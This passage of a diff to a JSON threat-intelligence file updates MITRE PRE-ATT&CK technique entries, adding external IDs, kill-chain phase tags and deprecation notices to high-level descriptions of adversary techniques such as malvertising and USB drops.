+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "d778cb83-2292-4995-b006-d38f52bc1e64"
@@ -885,6 +1247,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1167"
+ ],
+ "external_id": "PRE-T1167",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2"
@@ -895,6 +1261,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1055"
+ ],
+ "external_id": "PRE-T1055",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "7718e92f-b011-4f88-b822-ae245a1de407"
@@ -905,6 +1275,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1056"
+ ],
+ "external_id": "PRE-T1056",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "a757670d-d600-48d9-8ae9-601d42c184a5"
@@ -915,6 +1289,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1053"
+ ],
+ "external_id": "PRE-T1053",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c"
@@ -925,16 +1303,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1010"
+ ],
+ "external_id": "PRE-T1010",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "0fad2267-9f46-4ebb-91b5-d543243732cb"
},
{
- "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nInstead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",
"value": "Compromise 3rd party infrastructure to support delivery - PRE-T1111",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1111"
+ ],
+ "external_id": "PRE-T1111",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b"
@@ -945,16 +1331,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1086"
+ ],
+ "external_id": "PRE-T1086",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6"
},
{
- "description": "Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.",
"value": "Deploy exploit using advertising - PRE-T1157",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1157"
+ ],
+ "external_id": "PRE-T1157",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "d72c0bc0-3007-418c-842c-328027ebdbc1"
@@ -965,6 +1359,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1029"
+ ],
+ "external_id": "PRE-T1029",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d"
@@ -975,6 +1373,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1090"
+ ],
+ "external_id": "PRE-T1090",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93"
@@ -985,16 +1387,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1168"
+ ],
+ "external_id": "PRE-T1168",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:persona-development"
]
},
"uuid": "7a265bf0-6acc-4f43-8b22-2e58b443e62e"
},
{
- "description": "Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).",
"value": "Spear phishing messages with text only - PRE-T1145",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1145"
+ ],
+ "external_id": "PRE-T1145",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "2fc04aa5-48c1-49ec-919a-b88241ef1d17"
@@ -1005,6 +1415,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1133"
+ ],
+ "external_id": "PRE-T1133",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:test-capabilities"
]
},
"uuid": "0649fc36-72a0-40a0-a2f9-3fc7e3231ad6"
@@ -1015,16 +1429,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1034"
+ ],
+ "external_id": "PRE-T1034",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "a54a7708-8f64-45f3-ad51-1abf976986a0"
},
{
- "description": "Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).",
"value": "Automated system performs requested action - PRE-T1161",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1161"
+ ],
+ "external_id": "PRE-T1161",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:compromise"
]
},
"uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729"
@@ -1035,6 +1457,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1123"
+ ],
+ "external_id": "PRE-T1123",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768"
@@ -1045,6 +1471,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1030"
+ ],
+ "external_id": "PRE-T1030",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "a7c620e5-cbc9-41b2-9695-418ef560f16c"
@@ -1055,6 +1485,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1072"
+ ],
+ "external_id": "PRE-T1072",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-weakness-identification"
]
},
"uuid": "ee40d054-6e83-4302-88dc-a3af98821d8d"
@@ -1065,6 +1499,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1092"
+ ],
+ "external_id": "PRE-T1092",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "90884cdb-31dd-431c-87db-9cc7e03191e5"
@@ -1075,26 +1513,38 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1121"
+ ],
+ "external_id": "PRE-T1121",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:persona-development"
]
},
"uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33"
},
{
- "description": "Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nRemovable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.",
"value": "Disseminate removable media - PRE-T1156",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1156"
+ ],
+ "external_id": "PRE-T1156",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:stage-capabilities"
]
},
"uuid": "2f442206-2983-4fc2-93fd-0a828e026412"
},
{
- "description": "Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nReplacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.",
"value": "Replace legitimate binary with malware - PRE-T1155",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1155"
+ ],
+ "external_id": "PRE-T1155",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "0d759854-9b69-438c-8325-74b03cc80cf0"
@@ -1105,6 +1555,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1054"
+ ],
+ "external_id": "PRE-T1054",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "028ad431-84c5-4eb7-a364-2b797c234f88"
@@ -1115,6 +1569,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1094"
+ ],
+ "external_id": "PRE-T1094",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "cc0faf66-4df2-4328-9c9c-b0ca5de915ad"
@@ -1125,16 +1583,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1035"
+ ],
+ "external_id": "PRE-T1035",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "6baf6388-d49f-4804-86a4-5837240555cd"
},
{
- "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+ "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
"value": "Develop KITs/KIQs - PRE-T1004",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1004"
+ ],
+ "external_id": "PRE-T1004",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "6063b486-a247-499b-976a-9de16f4e83bc"
@@ -1145,6 +1611,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1068"
+ ],
+ "external_id": "PRE-T1068",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "abd5bed1-4c12-45de-a623-ab8dc4ff862a"
@@ -1155,16 +1625,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1061"
+ ],
+ "external_id": "PRE-T1061",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05"
},
{
- "description": "A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.",
"value": "Untargeted client-side exploitation - PRE-T1147",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1147"
+ ],
+ "external_id": "PRE-T1147",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "2ec57bf1-fcc3-4c19-9516-79b7fde483af"
@@ -1175,6 +1653,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089"
+ ],
+ "external_id": "PRE-T1089",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "4900fabf-1142-4c1f-92f5-0b590e049077"
@@ -1185,16 +1667,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1032"
+ ],
+ "external_id": "PRE-T1032",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "ef0f816a-d561-4953-84c6-2a2936c96957"
},
{
- "description": "The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.",
"value": "Exploit public-facing application - PRE-T1154",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1154"
+ ],
+ "external_id": "PRE-T1154",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "8a64f743-acaa-49d5-9d3d-ae5616a3876f"
@@ -1205,6 +1695,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1006"
+ ],
+ "external_id": "PRE-T1006",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5"
@@ -1215,6 +1709,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1095"
+ ],
+ "external_id": "PRE-T1095",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7"
@@ -1225,6 +1723,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1134"
+ ],
+ "external_id": "PRE-T1134",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:test-capabilities"
]
},
"uuid": "e042a41b-5ecf-4f3a-8f1f-1b528c534772"
@@ -1235,6 +1737,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1062"
+ ],
+ "external_id": "PRE-T1062",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "a7dff5d5-99f9-4a7e-ac54-a64113c28121"
@@ -1245,6 +1751,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1137"
+ ],
+ "external_id": "PRE-T1137",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:test-capabilities"
]
},
"uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81"
@@ -1255,6 +1765,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1087"
+ ],
+ "external_id": "PRE-T1087",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59"
@@ -1265,6 +1779,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1001"
+ ],
+ "external_id": "PRE-T1001",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "d3999268-740f-467e-a075-c82e2d04be62"
@@ -1275,6 +1793,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1039"
+ ],
+ "external_id": "PRE-T1039",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "78ae433b-289d-4c8d-b8c1-f8de0b7f9090"
@@ -1285,6 +1807,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1082"
+ ],
+ "external_id": "PRE-T1082",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "3160347f-11ac-44a3-9640-a648b3c17a8f"
@@ -1295,6 +1821,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1015"
+ ],
+ "external_id": "PRE-T1015",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-direction"
]
},
"uuid": "4fad17d3-8f42-449d-ac4b-dbb4c486127d"
@@ -1305,6 +1835,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1047"
+ ],
+ "external_id": "PRE-T1047",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "89a79d91-53e0-4ef5-ba28-558cb8b01f76"
@@ -1315,6 +1849,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1130"
+ ],
+ "external_id": "PRE-T1130",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "df42286d-dfbd-4455-bc9d-aef52ac29aa7"
@@ -1325,16 +1863,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1131"
+ ],
+ "external_id": "PRE-T1131",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "5a68c603-d7f9-4535-927e-ab56819eaa85"
},
{
- "description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+ "description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.",
"value": "Acquire OSINT data sets and information - PRE-T1024",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1024"
+ ],
+ "external_id": "PRE-T1024",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b"
@@ -1345,36 +1891,52 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1085"
+ ],
+ "external_id": "PRE-T1085",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "1a295f87-af63-4d94-b130-039d6221fb11"
},
{
- "description": "Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.",
"value": "Confirmation of launched compromise achieved - PRE-T1160",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1160"
+ ],
+ "external_id": "PRE-T1160",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:compromise"
]
},
"uuid": "f4c5d1d9-8f0e-46f1-a9fa-f9a440926046"
},
{
- "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
